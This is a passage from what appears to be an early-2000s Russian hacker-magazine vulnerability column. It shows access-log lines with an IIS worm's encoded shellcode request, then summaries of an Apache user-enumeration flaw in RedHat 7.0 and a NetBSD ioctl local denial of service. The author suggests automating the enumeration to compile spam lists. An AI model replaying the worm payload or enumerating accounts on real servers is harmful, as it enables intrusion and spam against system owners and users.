Bugtraq #10
Xakep, номер #034, стр. 034-014-2
u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u5
31b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 277 "-" "-"
и такой
195.14.233.179 - - [06/Sep/2001:12:15:43 +0400] "GET /default.ida?XXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090
%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u
531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 277 "-" "-"
Как видно из скучного лога, червь сканировал веб-пространство своего сабнета (моя машина находилась в подсети Corbina`ы - 195.14.*.*). Причем подобные запросы были получены с десятков различных IP. И в большинстве случае сие представляло не security-сканеры кул-хак, а именно работу червей. Так что, админ, бди bugtraq и акцесЛог :), даже если юзаешь Apache (как было у меня), а не гениальный IIS.
Red hat Linux Apache - уязвимость удаленного листинга пользователей
Bugtraq id 3335
Тип эксплойтинга - удаленный
Дата - 12.09.01
Уязвимый продукт - RedHat Linux 7.0
Автор - Alexander A. Kelner (akson@tts.debryansk.ru)
Версии веб-сервера Apache, поставляемые с RedaHat Linux 7.0 (и, возможно, другие дистрибутивы) инсталлируются по умолчанию с ошибкой в конфигурации, которая позволяет удаленному пользователю получить инфу по наличию юзверов в системе.
http://www.xakep.ru/~<username>. При запросе подобной страницы можно получить дефолтовую index-страницу хостящегося или нечто другое... Например, когда аккаунт юзера имеется в системе, но он не залил индексную страницу - сервер ответит, что "You don't have permission to access /~username on this server" (типа, не суй сюда свои щи :). Или же, когда пользователя нет в системе, при запросе его предполагаемой паги получаем The requested URL /~username was not found on this server" (типа, не туда попали, набирайте правильно номер :). Итого получается 3 варианта реакции сервера на запрос, по которым мы можем с легкостью отслеживать наличие пользователя в системе и получать искомый список всех юзарей.
Bugtraq сообщает, что готового эксплойта на описанную особенность сервера нет и не нужно. Мне же хотелось бы заметить, что автоматизация процесса иногда может быть полезна. Например, для составления спам-листов или путей для работы mail-grabber`a.
D.oS модуля ioctl в NetBSD
Bugtraq id 3297
Тип эксплойтинга - локальный
Дата - 06.09.01
Уязвимый продукт - NetBSD 1.4-1.5.1 (включая)
Автор - NetBSD Security Advisory
Потенциально возможная уязвимость в ядре NetBSD, которую можно использовать для проведения локального D.o.S`а.
Сложившаяся проблема - результат ошибок ввода в модуле ioctl(9), используемом некоторыми драйверами ядра. Предположительно обвал происходит при стандартном запросе на хронологию использования памяти и просто попытке переноса данных из памяти. Наиболее вероятно, что подобное несчастье произойдет при направлении большого объема аргументов для данного модуля. В итоге получается искомый локальный d.o.s.
